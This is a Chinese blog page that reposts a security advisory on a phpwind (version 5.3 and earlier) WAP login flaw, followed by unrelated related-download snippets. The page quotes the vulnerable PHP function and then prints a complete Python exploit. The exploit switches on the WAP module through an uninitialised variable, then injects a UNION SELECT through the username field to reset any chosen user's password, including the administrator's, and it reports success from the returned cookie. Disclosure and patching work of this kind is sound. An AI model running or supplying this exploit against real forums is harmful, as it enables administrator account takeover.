`
lovnet
  • 浏览: 6970958 次
  • 性别: Icon_minigender_1
  • 来自: 武汉
文章分类
社区版块
存档分类
最新评论

phpwind任意修改管理员密码漏洞

阅读更多
漏洞说明:PHPWind 论坛系统 是一套采用 php+mysql 数据库方式运行并可生成 html 页面的全新且完善的强大系统。因具有非凡的访问速度和卓越的负载能力而深受国内外朋友的喜爱。但是80sec在其中发现了一个安全漏洞,成功利用此漏洞可 以直接修改管理员的密码进入后台,取得管理员权限。

漏洞厂商:http://www.phpwind.net

漏洞来源:http://www.80sec.com/release/phpwind-admin-pass-change-vul.txt

漏洞解析:在phpwind的wap模块中的字符转码程序存在问题,细节在http://www.80sec.com /php-coder-class-security-alert.html,但是80sec发现,在phpwind的wap模块中,该编码转换类存在更 为严重的问题,甚至没有任何的条件,即使安装了iconv等编码模块一样受到该漏洞的影响,几乎没有条件限制。在phpwind中,wap是默认关闭的, 但是我们发现在phpwind<=5.3版本中,变量存在全局没有初始化的问题,导致远程用户可以开启该模块,从而导致一个注射安全漏洞产生。
在phpwind中的注射漏洞中,phpwind过分相信从数据库中取出的变量,从而可能可以更改一些数据处理流程,导致任意修改其他用户的密码,包括管理员,问题代码在wap_mod.php中如下:

function wap_login($username,$password){
global $db,$timestamp,$onlineip,$db_ckpath,$db_ckdomain,$db_bbsurl;

$men=$db->get_one("SELECT m.uid,m.password,m.groupid,m.yz,md.onlineip FROM pw_members m LEFT JOIN pw_memberdata md ON md.uid=m.uid WHERE username='$username'");
if($men){
$e_login=explode("|",$men['onlineip']);
if($e_login[0]!=$onlineip.’ *’ || ($timestamp-$e_login[1])>600 || $e_login[2]>1 ){
$men_uid=$men['uid'];
$men_pwd=$men['password'];
$check_pwd=$password;
if($men['yz'] > 2){
wap_msg(’c');
}
if(strlen($men_pwd)==16){
$check_pwd=substr($password,8,16);/*支持 16 位 md5截取密码*/
}
if($men_pwd==$check_pwd){
if(strlen($men_pwd)==16){
$db->update(”UPDATE pw_members SET password=’$password’ WHERE uid=’$men_uid’”);
}
$L_groupid=(int)$men['groupid'];
Cookie(”ck_info”,$db_ckpath.”\t”.$db_ckdomain);
}else{
global $L_T;
$L_T=$e_login[2];
$L_T ? $L_T–:$L_T=5;
$F_login=”$onlineip *|$timestamp|$L_T”;
$db->update(”UPDATE pw_memberdata SET onlineip=’$F_login’ WHERE uid=’$men_uid’”);
wap_msg(’login_pwd_error’);
}
}else{
global $L_T;
$L_T=600-($timestamp-$e_login[1]);
wap_msg(’login_forbid’);
}
} else {
global $errorname;
$errorname=$username;
wap_msg(’user_not_exists’);
}
Cookie(”winduser”,StrCode($men_uid.”\t”.PwdCode($password)));
Cookie(’lastvisit’,”,0);
wap_msg(’wap_login’,'index.php’);
}

甚至不用注册账户,只要精心构造username即可利用此漏洞。

漏洞利用:80sec提供exploit如下:

import urllib2,httplib,sys
httplib.HTTPConnection.debuglevel = 1
cookies = urllib2.HTTPCookieProcessor()
opener = urllib2.build_opener(cookies)
argvs=sys.argv

data = "db_wapifopen=1&prog=login&pwuser=shit%c1'union select "+argvs[2]+”,mid(md5(123456),9,16),3,1,5/*&pwpwd=123456″
pwurl = “%s” % argvs[1]
pwurl = pwurl + “wap/index.php”

print “\r\n\r\nPhpwind Admin Pass Change Exploit”
print “Phpwind <=5.3 "
print "By 80sec "
print "python.exe "+argvs[0]+" http://www.80sec.com/pwforum/ 1\r\n"

print "\r\n[+]TargetForum: "+argvs[1]
print "[+]TargetId: "+argvs[2]

request = urllib2.Request(
url = pwurl ,
headers = {'Content-Type' : 'application/x-www-form-urlencoded','User-Agent': '80sec owned this'},
data = data)
f=opener.open(request)
headers=f.headers.dict
try :
cookie=headers["set-cookie"]
if cookie.index('winduser') :
print "[+]Exploit Success"
else : print "[-]Exploit Failed"

except:
print "[-]Exploit Failed"

漏洞修复:请及时打上官方最新补丁 http://www.phpwind.net/read-htm-tid-643202.html
本站内容均为原创,转载请务必保留署名与链接!
phpwind任意修改管理员密码漏洞:http://www.80sec.com/phpwind-admin-pass-change-vul.html
分享到:
评论

相关推荐

    phpwind Exp 漏洞利用

    phpwind Exp 漏洞利用

    phpwind禁止修改邮箱

    在PHPWind论坛系统中,管理员有时会出于安全考虑或者特定运营策略,希望禁止用户自行修改邮箱。这涉及到PHPWind后台管理设置以及数据库操作等技术环节。以下是对这一主题的详细阐述: 1. PHPWind简介: PHPWind是一...

    PHPWind v3.0.1 Build 1107 简体安装版

    PHPWind 是一套采用 php+mysql 数据库 方式运行并可生成 html 页面的全新且完善的强大系统. 我们希望作为一个开源.共享的软件,PHPWind 可以以其 流畅的速度 与 高负载能力

    PHPWind论坛 热血足球

    此外,为了让"热血足球"主题正常运行,管理员还需要了解如何启用和管理论坛的模版系统。这通常涉及到在后台选择相应的模板,或者在FTP客户端中将模板文件上传到服务器的指定目录。对于有编程基础的管理员,他们还...

    PHPWind论坛 妖精之泪

    下载并解压PHPWind论坛压缩包后,通过FTP工具将文件上传至服务器,然后在浏览器中运行安装程序,按照提示完成数据库配置和管理员账号创建。 2. **模板切换**:"妖精之泪"模板的启用,通常在后台管理界面中可以找到...

    管理员全部IP其他用户看模糊IP[增加来自xxxxx] for phpwind.rar

    《管理员全部IP其他用户看模糊IP[增加来自xxxxx] for phpwind》 在互联网社区管理中,保护用户隐私和确保网站安全是非常重要的任务。PHPWind(简称PW)是一款广泛使用的开源社区建站系统,它提供了丰富的功能和高度...

    PHPWIND创始人密码恢复工具

    PHPWIND创始人密码恢复工具

    PHPWind Board(论坛) 使用手册

    1. **版本升级**:定期关注PHPWind的官方更新,及时升级论坛到最新稳定版本,获取新功能和修复的安全漏洞。 2. **问题排查**:遇到技术问题时,可参考官方文档、社区论坛或者求助于专业开发者。 通过以上详细介绍...

    系统维护工具箱插件 for phpwind 7.x v3.6beta.rar

    6. 配置管理:允许管理员轻松修改系统设置,如站点信息、SEO参数等,无需深入代码层面。 7. 日志分析:记录并分析系统日志,找出可能的问题源,有助于及时解决问题。 “说明.htm”文件很可能是插件的使用指南,...

    phpwind-UTF8-8.7

    2. **模板系统**:phpwind通常提供自定义模板机制,允许管理员更改论坛的外观和布局。 3. **插件与模块**:扩展论坛功能,如积分系统、广告管理、活动模块等。 4. **权限管理**:角色权限分配,控制用户组及单个用户...

    phpwind7.5

    同时,后台管理界面简洁直观,无论是新手还是经验丰富的管理员都能轻松上手,进行日常维护和管理。 安全方面,PHPWind7.5在代码层面进行了严谨的安全防护设计,有效防止SQL注入、XSS跨站脚本攻击等常见安全问题。...

    如何修改WAMP中mysql默认空密码

    - 修改密码后,建议对所有依赖于该数据库的应用进行测试,以确保更改不会影响其正常运行。 - 定期更换密码可以提高数据库的安全性。 - 如果遇到任何问题,可以参考MySQL官方文档或寻求专业人员的帮助。 #### 四、...

    (已验证)PHPWind_UTF8_7.3.2.zip

    7. **首次登录与配置**:使用刚刚创建的管理员账号登录后台,进行基本设置,如论坛名称、Logo、版块规划等。 8. **更新与维护**:定期检查并安装官方发布的更新包,确保论坛系统安全性和功能完善。 在使用PHPWind...

    PHPWind lwid-57模板

    这款模板的出现,不仅丰富了PHPWind的外观选择,也给管理员提供了更多个性化定制的可能性。 模板设计方面,lwid-57可能包含了响应式布局,这意味着无论用户使用桌面电脑、平板还是手机访问论坛,都能自适应屏幕大小...

    PHPWind 论坛后台源代码PHPWind 论坛后台源代码

    PHPWind 是一款基于PHP和MySQL的开源论坛软件,它以其高效、稳定和强大的功能深受许多网站管理员的喜爱。这个"PHPWind 论坛后台源代码"指的是PHPWind论坛系统的管理后台部分的源码,用于实现论坛的日常管理和设置。...

    PHPWind免登录发布接口

    5. 安装成功后,在“已安装”列表中,找到“简数采集和发布平台”,点击“设置”,修改默认密码; 6. 把 网站目录/src/service/forum/dao/PwThreads....... 3. 支持对接大多数采集工具,例如简数采集器自动批量发送...

    PHPWind论坛 灰色年代

    在运营阶段,管理员需要定期备份数据,监控论坛的运行状态,并通过管理工具来维护社区秩序,打击违规行为。 PHPWind论坛的“灰色年代”,既是互联网发展的见证,也是技术进步的缩影。它不仅记录了无数用户的网络...

    首页添加登陆框兼背景图片 for phpwind.rar

    "首页添加登陆框兼背景图片 for phpwind.rar"这个压缩包就是专门为PHPWind论坛设计的一个插件,旨在帮助管理员轻松地在首页添加登录框,并设置个性化的背景图片,从而提升论坛的整体视觉效果。 首先,我们需要理解...

    PHPWind-全版本-1.0-9.0.zip

    PHPWind 是一个非常知名的开源社区建站系统,主要用于构建论坛、社交网络等互动平台。从提供的标题"PHPWind-全版本-1.0-9.0.zip"来看,这个压缩包包含了PHPWind从1.0到9.0的所有版本。在描述中提到“当有 UTF8 版本...

    修改PHPWind7.5RC评分为彩色 for phpwind.rar

    总结,这个“修改PHPWind7.5RC评分为彩色”的插件,通过增强视觉效果提升了用户在论坛中的互动体验。通过理解评分系统的原理、彩色评分的实现方式以及具体的修改步骤,我们可以更好地掌握如何在PHPWind论坛中创建更...

Global site tag (gtag.js) - Google Analytics